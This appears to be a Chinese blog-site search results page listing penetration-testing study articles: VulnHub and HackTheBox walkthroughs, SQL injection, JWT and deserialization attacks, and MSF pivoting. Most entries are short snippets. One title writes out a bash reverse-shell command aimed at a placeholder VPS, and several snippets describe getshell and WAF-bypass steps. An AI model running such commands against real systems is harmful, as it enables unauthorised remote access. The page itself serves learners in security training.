渗透学习

渗透学习-8-信息打点-系统篇&端口扫描&CDN 服务&负载均衡&WAF 防火墙

知识点：1、获取网络信息-服务厂商&网络架构服务厂商-获知服务器的一些特性，比如阿里云会自带防护网络架构-获知网络架构的一些情况，多台服务器？比如学校或者大型机构，可能使用了反向代理机器，明明是在提供外网服务，但是可能探测不到什么有意义的资产，那么有可能就是这样情况网络架构反向代理实例在视频00:24:00左右2、获取服务信息-应用协议&内网资产web应用-FTPSSHRedis各种服务内网资产-
wh00am·2024-08-28 15:32

浅谈SQL注入的四种防御方法

(主要是怕面试中脑壳打铁，这种情况太常见了)SQL注入占我们渗透学习中极大地一部分，拥有这很重要的地位。随着防御手段的不段深入，
买Lemon也用劵·2024-02-01 04:29

渗透学习-靶场篇-pikachu靶场详细攻略（持续更新中-）

提示：仅供进行学习使用，请勿做出非法的行为。如若由任何违法行为，将依据法律法规进行严惩！！！文章目录前言一、pikachu安装二、SQL-Inject数字型注入（post）利用burpsuite注入利用hackbar注入字符型注入（get)搜索型注入xx型注入insert/update注入delete注入http头部注入布尔盲注时间盲注宽字节注入三、xss安装反射型（get）反射型（post）存储
dfzy$_$·2024-01-25 20:49

VulnHub-Lord Of The Root_1.0.1-靶机渗透学习

靶机地址：https://www.vulnhub.com/entry/lord-of-the-root-101,129/靶机难度：中等（CTF）靶机描述：这是KoocSec为黑客练习准备的另一个Boot2Root挑战。他通过OSCP考试的启发准备了这一过程。它基于伟大的小说改制电影《指环王》的概念。目标：得到root权限&找到flag.txt作者：嗯嗯呐一、信息采集nmap扫描确定靶机IP地址扫描
嗯嗯呐·2024-01-22 14:53

No.6-VulnHub-Lord Of The Root: 1.0.1-Walkthrough渗透学习

**VulnHub-LordOfTheRoot:1.0.1-Walkthrough**靶机地址：https://www.vulnhub.com/entry/lord-of-the-root-101,129/靶机难度：中等（CTF）靶机发布日期：2015年9月23日靶机描述：这是KoocSec为黑客练习准备的另一个Boot2Root挑战。他通过OSCP考试的启发准备了这一过程。它基于伟大的小说改制电
大余xiyou·2024-01-22 14:23

No.20-基础-渗透学习

**基础篇**目标：通关vulnhub平台上的靶机作者：大余时间：2020-01-17请注意：对于所有这些计算机，我已经使用VMware运行下载的计算机。我将使用KaliLinux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的，如果列出的技术用于其他任何目标，我概不负责。一、练习平台想渗透入门的小伙伴，建议已下平台最少练熟30~50台以上，熟悉渗透思路。HackTheBox：htt
大余xiyou·2024-01-22 14:23

「上海论文网」机械设计及理论专业硕士论文写作技巧

在教学中，常常会将社会高科技复合技术与本专业的专业知识相结合，以渗透学习为主，技术指导为辅，培养出复合型人才，在对机电一体化研究的同时，强调分析应用能力，不仅拥有强大的理论知识做后盾，更是培养学生的具体操作实践能力
MBA论文肖博士·2024-01-21 01:25

如何入门网络安全行业？史上最全学习路线资料分享

一、学习的优先级web渗透、内网渗透、网站渗透，这三者的学习的优先级应该是第一阶段：web渗透第二阶段：网站渗透第三阶段：内网渗透二、各个阶段的学习路线规划2.1第一阶段：web渗透学习基础时间：1周~
Day1_王老师·2023-11-30 17:39

学习策略的兴起和发展

在我的教学中我会有意识的渗透学习策略。比如解决问题时利用画线段图或画圈理解题意。这样的例子也不少，但是学生遇到不会的问题很少主动有意识的去画图。
冰糖雪儿·2023-11-24 17:45

SMB信息泄露和渗透学习

SMB信息泄露SMB协议，计算机可以访问网络资源，下载对应的资源文件。先通过ifcongig命令找到攻击机IP：192.168.174.128然后扫出靶机IP：192.168.174.129使用：nmap-sV192.168.174.129命令，通过扫描，我们可以看到靶机开放了smb服务尝试使用空口令登录（提示输入密码直接空密码回车）发现一个打印驱动、一个共享文件夹share$和一个空链接，尝试一
Lstop.·2023-11-18 21:51

网络安全kali渗透学习 web渗透入门 Layer子域名挖掘机收集信息

Layer子域名挖掘机是一款域名查询工具，可提供网站子域名查询服务。拥有简洁的界面、简单的操作模式，支持服务接口、暴力搜索、同服挖掘三种模式，支持打开网站、复制域名、复制IP、复制CDN、导出域名、导出IP、导出域名+IP、导出域名+IP+WEB服务器以及导出存活网站。这篇文章教大家如何进行Kali系统的被动信息收集以下有视频版还有文字版不知道怎么操作的请看文字版的，里面详细的步骤。关注公众号侠盗
程序员漏网之鱼·2023-11-05 12:21

渗透学习-靶场篇-WebGoat靶场（JWT攻击）

文章目录前言一、介绍JWTJWT令牌结构获取的令牌的基本过程二、攻击方式以及靶场的搭建1.安装cWebGoat2.空加密验证攻击3.字典爆破三、认证-键值逻辑前言本次主要学习了javaweb项目方面任意出现的一些安全问题，最主要的是有关于JWT身份认证上的攻击，并利用webgoat靶场进行了一些实验。一、介绍JWTJWT的全称是JsonWebToken。它遵循JSON格式，将用户信息加密到toke
dfzy$_$·2023-11-05 05:55

No.82-HackTheBox-windows-Hackback-Walkthrough渗透学习

**HackTheBox-windows-Hackback-Walkthrough**靶机地址：https://www.hackthebox.eu/home/machines/profile/176靶机难度：疯狂（6.5/10）靶机发布日期：2019年5月29日靶机描述：HackbackisaninsanedifficultyWindowsboxwithsomegoodtechniquesatpl
大余xiyou·2023-11-01 04:10

Vulnhub-DERPNSTINK: 1-靶机渗透学习

靶机地址：https://www.vulnhub.com/entry/derpnstink-1,221/靶机难度：中等（CTF）靶机描述：这是基于Ubuntu的boot2root虚拟机。它已使用DHCP设置的网络接口在VMwareFusion和VMwareWorkstation12上进行了测试。它旨在模拟我在OSCP实验室中遇到的一些较早的机器，同时还带有一些较小的曲线球，但是没有什么花哨的。坚持
嗯嗯呐·2023-10-28 14:52

2021年1月4日-Vulnhub-DerpNStink渗透学习

2021年1月4日-Vulnhub-DerpNStink渗透学习靶机地址：https://www.vulnhub.com/entry/derpnstink-1,221/kali地址：192.168.31.77
在下菜鸟·2023-10-28 14:49

VulnHub-DerpNStink：1渗透学习

前言靶机地址：https://download.vulnhub.com/derpnstink/VulnHub2018_DeRPnStiNK.ova靶机难度：中级（CTF）靶机发布日期：2018年2月9日靶机描述：Derp先生和Stinky叔叔是两位正在创办自己的公司DerpNStink的系统管理员。他们没有聘请合格的专业人士来建立他们的IT环境，而是决定将他们自己的系统组装在一起，该系统几乎准备好
F10Sec·2023-10-28 14:49

ubuntu18.04安装QT5

因为体系比较庞大，因此，需要一点一点渗透学习。然而，安装好的QT5能否被C++工程调用，这些还是需要慎重行事，否则不成。
退役小学生呀·2023-10-17 05:39

大龄零基础，想要转行做网络安全行业，怎样比较可行？

理清web渗透学习思路，把自己的学习方案和需要学习的点全部整理，你会发现突然渗透思路就有点眉目了。程序员之间流行一个词，叫35岁危机，意思就是说35岁是个坎，容易被淘汰。那么安全行业有这个坎吗？
程序学到昏·2023-10-17 01:20

VulnHub-LazySysAdmin: 1Walkthrough渗透学习

VulnHub-LazySysAdmin:1Walkthrough渗透学习前言靶机地址：https://download.vulnhub.com/lazysysadmin/Lazysysadmin.zip
F10Sec·2023-10-17 00:38

一节好课——听课感悟1

第一，教学设计中要渗透学习方法的指导。一节语文课绝不是领着学生读读书，写写字这么简单的事。我听了从三年级到
W温暖·2023-10-16 05:07

祁县第四小学学习心得

楼梯上一排排重点需要掌握的单词，淘心池这些细心精心的校园布置给学生日行目见渐渐渗透学习知识的氛围。二，专业化课堂一律全英语。把学本课堂的各个步骤英语化。并且灵活转变。既符合课堂交给
淑梅疏影·2023-10-15 07:45

VulnHub-Raven-靶机渗透学习

靶机地址：https://www.vulnhub.com/entry/raven-2,269/靶机描述：Raven2是中级boot2rootVM。有四个标志要捕获。在多次违反之后，RavenSecurity采取了额外的措施来加固其Web服务器，以防止黑客入侵。您是否仍然可以违反Raven？目标：找到4个flag作者：嗯嗯呐信息采集nmap扫描靶机的IP地址扫描主机端口访问80端口，查看WEB界面使
嗯嗯呐·2023-10-14 06:38

wireshark渗透学习笔记（实验环境搭建）

实验准备软件：eNSP：可以模拟网络环境(现在官网已经找不到下载了，只能通过其他途径)。virtualbox：为eNSP提供支持。wireshark：这个就是我们要学习的东西。winpcap：为wireshark提供支持。VMware：虚拟机。kalilinux镜像：用来在VMware中安装kali系统。PS：eNSP和virtualbox很容易出现不兼容和各种错误，请自行耐心解决，因为错误姿势太
RangerIvan·2023-08-08 14:58

生命在于学习——APP渗透学习笔记

一、app渗透篇1、Android简介自从Android被谷歌收购（2005年），谷歌已经完成了整个开发，在过去的9年里，尤其是在安全方面，有很多变化。现在，它是世界上最广泛使用的智能手机平台，特别是由于不同的手机制造商，如LG，三星，索尼和HTC的支持。Android的后续版本中引入了许多新概念，例如GoogleBouncer和GoogleAppVerifier。2、Android架构如果我们看
易水哲·2023-08-06 03:12

内网渗透学习总结

内网渗透内网渗透思路：通过域主机，找到域控ip以及管理员账号，利用域成员主机为跳板，扩大渗透范围。设法从域成员主机内存中dump域管理密码，进而拿下域控渗透整个内网。12server7-域控192.168.1.1212server-客户机192.168.1.17内网渗透相关命令queryuser||qwinsta查看当前在线用户netuser查看本机用户netuser/domain查看域用户net
LLHSKY·2023-08-04 06:29

一个完整的渗透学习路线是怎样的？如何成为安全渗透工程师？

前言1/我是如何学习黑客和渗透？我是如何学习黑客和渗透测试的，在这里，我就把我的学习路线写一下，让新手和小白们不再迷茫，少走弯路，拒绝时间上的浪费！2/学习常见渗透工具的使用注意：这里绝对不是说的那些什么抓鸡啊、远控啊一些无脑软件，你觉得你用了那些软件后有什么？一丝虚荣心？还是成就感？不，你在别人大牛的眼里什么都不是，你还拿着别人玩烂了的东西到处一顿乱扫，所以你需要系统的学习，就算你说你时间不够，
白面安全猿·2023-07-31 05:02

渗透学习-SQL注入篇-基础知识的学习（持续更新中）

提示：仅供进行学习使用，请勿做出非法的行为。如若由任何违法行为，将依据法律法规进行严惩！！！文章目录前言一、SQL注入产生的原因二、手工注入大致过程1.判断注入点：2.猜解列名3.猜解能够回显数据的地方：4.信息收集、注入：三、注入的大致分类1.盲注2、有关于http头部的注入3、二次注入4、宽字节注入5、堆叠注入6、orderby注入四、WAF原理及其绕过姿势参考文献前言提示：这里可以添加本文要
dfzy$_$·2023-07-26 02:15

2021-09-15

我最近也真正掀起了复习理财知识和技能的浪潮，为了彻底进入投资领域开始发力，先从每周课程的顺口溜开始，步步渗透学习，抓住重点形成框架，持续不断的打磨，实践，最终达到熟练掌握的程度，并有效的发展成自己身体的一部分
早起的茶叶·2023-07-23 22:51

【学习笔记】反弹shell命令学习笔记,实战指南,1v1攻击测试教学,常用的反弹shell命令: bash -i ＞& /dev/tcp/vps的ip/vps的端口 0＞&1

oicq,前生就是用的这种模式开发的即时通讯)作为渗透测试人员必备技能,反弹shell到底是什么原理,以及如何使用,本文是自己学习shell命令时的个人感悟和笔记,文章内容大量引入了较为官方的语言,给入门渗透学习的人员提供一个参考
爬虫数据分析师·2023-06-22 19:12

Metasploitable2靶机渗透学习

目录一、介绍二、环境三、渗透攻击1.前期渗透1.1主机发现1.2.端口扫描1.3.测试漏洞2.弱密码漏洞2.1系统弱密码登录（telnet：23端口）2.2MySQL弱密码登录（端口：3306）2.3PostgreSQL弱密码登录（端口：5432）2.4VNC弱密码登录（端口：5900）3.Vsftpd源码包后门漏洞（21端口）：4.SSH弱口令漏洞（22端口）5.LinuxNFS共享目录配置漏洞
小孔吃不胖·2023-06-19 06:06

渗透学习-靶场篇-dvwa靶场详细攻略（持续更新中-目前只更新sql注入部分）

提示：仅供进行学习使用，请勿做出非法的行为。如若由任何违法行为，将依据法律法规进行严惩！！！文章目录前言一、dvwa的安装：二、sql注入关1.SQLInjectionlow级别medium级别hight级别1.SQLInjection(Blind)lowmediumhigh总结前言在完成基础学习后，现在开始正式的打dvwa的靶场。由于目前，主要只学习了sql注入，因此，对于dvwa靶场的攻略仅有
dfzy$_$·2023-06-12 02:01

如何提升自身 WEB 渗透能力？

理清web渗透学习思路，把自己的学习方案和需要学习的点全部整理，你会发现突然渗透思路就有点眉目了。程序员之间流行一个词，叫35岁危机，，意思就是说35岁是个坎，容易被淘汰。那么安全行业有这个坎吗？
初阶羊·2023-06-09 04:11

（渗透学习）ysoserial工具使用--java反序列化漏洞利用

工具下载地址：https://github.com/angelwhu/ysoserial使用方法可参考：https://blog.csdn.net/weixin_34275734/article/details/92243836靶场webgoat---InsecureDeserializetion---5分析漏洞：题目给的数据是rO0AB开头，所以是经过了base64加密的java序列化对象。解码
imz丶·2023-06-07 18:23

如何提升自身 WEB 渗透能力？【网安人员必看】

理清web渗透学习思路，把自己的学习方案和需要学习的点全部整理，你会发现突然渗透思路就有点眉目了。程序员之间流行一个词，叫35岁危机，，意思就是说35岁是个坎，容易被淘汰。那么安全行业有这个坎吗？
不是程序媛呀·2023-04-21 12:11

渗透学习笔记

一、SQL注入漏洞SQL注入：web程序对用户输入数据的合法性没有判断，前端传入后端的参数可控的，并且参数带入数据库查询，攻击者可通过构造SQL语句来实现对数据库的任意操作。1.sql注入原理满足条件：参数用户可控：前端传入后端的内容用户可以控制参数带入数据库查询：传入的参数拼接到SQL语句，且带入数据库查询。原因：用户输入的数据被SQL解释器执行2.注入漏洞分类1）数字型注入当输入的参数为整型时
莫黎小天·2023-04-20 19:47

网络安全入门教程（非常详细）从零基础入门到精通，看完这一篇就够了

理清web渗透学习思路，把自己的学习方案和需要学习的点全部整理，你会发现突然渗透思路就有点眉目了。程序员之间流行一个词，叫35岁危机，，意思就是说35岁是个坎，容易被淘汰。那么安全行业有这个坎吗？
大安全家·2023-04-15 14:27

红日靶场vulnstack1 内网渗透学习

目录前言：信息收集：phpmyadmingetshell日志写shellyxcmsgetshell植入后们：内网域环境信息收集：基于msf进行信息收集：基于msf内网信息收集：内网收集思路总结：CS派生会话给公网MSFCS开启监听：3.cs派生会话。编辑MSF利用MSF小记|命令(lmlphp.com)：MSF进行永恒之蓝攻击：MSF内网端口扫描。利用ms17-010总结：前言：仅记录学习过程，期
snowlyzz·2023-04-12 12:44

Vulnhub靶场练习 DC-1

前言本文作者是新手，全程跟着VulnhubDC-1靶机渗透学习和Vulnhub靶机DC_1渗透两位大佬的教程，照猫画虎，最终也算是完成DC-1的通关。在这个过程中学到了很多东西，所以记录下来。
weidongting111·2023-04-11 16:20

一个完整的渗透学习路线是怎样的？如何成为安全渗透工程师？

前言1/我是如何学习黑客和渗透？我是如何学习黑客和渗透测试的，在这里，我就把我的学习路线写一下，让新手和小白们不再迷茫，少走弯路，拒绝时间上的浪费！2/学习常见渗透工具的使用注意：这里绝对不是说的那些什么抓鸡啊、远控啊一些无脑软件，你觉得你用了那些软件后有什么？一丝虚荣心？还是成就感？不，你在别人大牛的眼里什么都不是，你还拿着别人玩烂了的东西到处一顿乱扫，所以你需要系统的学习，就算你说你时间不够，
不是程序媛ya·2023-04-08 13:58

网络安全从业人员应该如何提升自身的web渗透能力?

理清web渗透学习思路，把自己的学习方案和需要学习的点全部整理，你会发现突然渗透思路就有点眉目了。程序员之间流行一个词，叫35岁危机，，意思就是说35岁是个坎，容易被淘汰。那么安全行业有这个坎吗？
不是程序媛ya·2023-04-07 16:35

网络安全kali渗透学习 web渗透入门 ARL资产侦察灯塔系统搭建及使用

ARL资产侦察灯塔系统搭建及使用ARL（AssetReconnaissanceLighthouse）资产侦查灯塔旨在快速发现并整理企业外网资产并为资产构建基础数据库，无需登录凭证或特殊访问即可主动发现并识别资产，让甲方安全团队或者渗透测试人员快速寻找到指定企业资产中的脆弱点,降低资产被威胁利用的可能性并规避可能带来的不利影响。这篇文章教大家如何使用资产检索FOFA搜索引擎收集信息ARL资产侦察灯塔
极客事纪·2023-04-07 13:36

【网络安全必看】

理清web渗透学习思路，把自己的学习方案和需要学习的点全部整理，你会发现突然渗透思路就有点眉目了。程序员之间流行一个词，叫35岁危机，，意思就是说35岁是个坎，容易被淘汰。那么安全行业有这个坎吗？
没更新就是没更新·2023-04-07 02:08

Vulnhub靶机渗透学习——DC-9

本文仅个人学习所做笔记，仅供参考，有不足之处请指出！vulnhub靶机vulnhub是个提供各种漏洞平台的综合靶场，可供下载多种虚拟机进行下载，本地VM打开即可，像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。靶机DC9还是老样子只有拿到root权限才可以发现最终的flag。Vulnhub靶机下载：官网地址：[https://download.vulnhub.com/dc/DC
Never say die _·2023-04-05 20:11

Vulnhub-DC-1渗透学习

一、环境搭建攻击机：Kali-2021.3：192.168.8.105靶机：Vulnhub-DC1：192.168.8.230靶机下载地址：Https://download.vulnhub.com/dc/DC-1.zip二、信息收集启动靶机，由于我们没法进去这个靶机，所以IP地址是未知的用ifconfig查看kali的IP地址使用nmap对该网段下的主机进行主机探活nmap-sP192.168.8
cgrona·2023-04-03 08:06

webshell 常见 Bypass waf 技巧总结

在渗透学习的过程中，总会遇到各种情况，例如php大马被waf拦截的时候，那么如何制作免杀phpwebshell呢，接下来就由我带各位小伙伴们一起踏上大马免杀之路，不喜勿喷。
bandongshen9543·2023-04-01 12:18

DC-2靶机的渗透学习

目录0X00靶机的环境搭配0X01信息收集一、IP扫描二、端口扫描三、网站目录扫描四、查看网站结构三、渗透开始一、flag1二、flag22.1使用cewl生成密码2.2使用wpscan扫出用户2.3找到3个用户admin、jerry、tom，并将他们放入一个文本文件中2.4开始爆破2.5登录后台网页三、flag33.1ssh登录3.2初步查找文件编辑四、flag44.1绕过rbash五、flag
里丘~班诺·2023-03-26 17:35

Vulnhub-DC-2渗透学习

一、环境搭建攻击机：Kali-2021.3：192.168.8.105靶机：Vulnhub-DC2：192.168.8.222靶机下载地址：https://download.vulnhub.com/dc/DC-2.zip二、信息收集首先使用nmap进行主机探活nmap-sP192.168.8.0/24然后逐个扫描，判断出靶机的IP地址nmap-A-p-192.168.8.222发现我们的目标开放了
cgrona·2023-03-26 17:02

2021-06-12web渗透学习之phar反序列化

概要来自Secarma的安全研究员SamThomas发现了一种新的漏洞利用方式，可以在不使用php函数unserialize()的前提下，引起严重的php对象注入漏洞。这个新的攻击方式被他公开在了美国的BlackHat会议演讲上，演讲主题为：”不为人所知的php反序列化漏洞”。它可以使攻击者将相关漏洞的严重程度升级为远程代码执行。我们在RIPS代码分析引擎中添加了对这种新型攻击的检测。关于流包装大
热热的雨夜·2023-03-25 12:47

渗透学习笔记

渗透学习笔记首先给出一个网站，该网站收录了各种红队渗透工具：https://github.com/guchangan1/All-Defense-Tool信息收集信息收集需要收集资产的企业备案、域名、IP
哆啦朵拉·2023-02-18 19:59

一个完整的渗透学习路线是怎样的？如何成为安全渗透工程师？

前言1/我是如何学习黑客和渗透？我是如何学习黑客和渗透测试的，在这里，我就把我的学习路线写一下，让新手和小白们不再迷茫，少走弯路，拒绝时间上的浪费！2/学习常见渗透工具的使用注意：这里绝对不是说的那些什么抓鸡啊、远控啊一些无脑软件，你觉得你用了那些软件后有什么？一丝虚荣心？还是成就感？不，你在别人大牛的眼里什么都不是，你还拿着别人玩烂了的东西到处一顿乱扫，所以你需要系统的学习，就算你说你时间不够，
不是程序媛ya·2023-02-03 17:52
上一页 1 2 3 4 5 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他